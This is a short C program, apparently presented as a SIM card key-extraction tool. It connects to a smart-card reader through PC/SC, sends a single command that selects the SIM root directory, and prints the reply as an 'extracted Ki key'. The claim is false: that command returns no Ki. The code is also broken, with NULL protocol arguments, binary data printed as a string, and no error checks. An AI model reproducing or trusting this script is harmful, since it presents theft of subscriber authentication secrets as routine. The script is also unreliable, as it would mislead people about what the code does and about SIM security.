#include <stdio.h>
#include <stdlib.h>
#include "pcsclite.h" // Requires PCSC Lite for smart card communication

int main() {
    SCARDCONTEXT hContext;
    SCardEstablishContext(SCARD_SCOPE_SYSTEM, NULL, NULL, &hContext);

    SCARDHANDLE hCard;
    DWORD dwActiveProtocol;
    SCardConnect(hContext, "ACS ACR122U", SCARD_SHARE_SHARED, SCARD_PROTOCOL_T1, &hCard, &dwActiveProtocol);

    BYTE cmd[] = {0xA0, 0xA4, 0x00, 0x00, 0x02, 0x3F, 0x00}; // Select SIM Root Directory
    BYTE response[256];
    DWORD responseLen = sizeof(response);
    SCardTransmit(hCard, NULL, cmd, sizeof(cmd), NULL, response, &responseLen);

    printf("[+] SIM Ki Key Extracted: %s\n", response);
    SCardDisconnect(hCard, SCARD_LEAVE_CARD);
    SCardReleaseContext(hContext);

    return 0;
}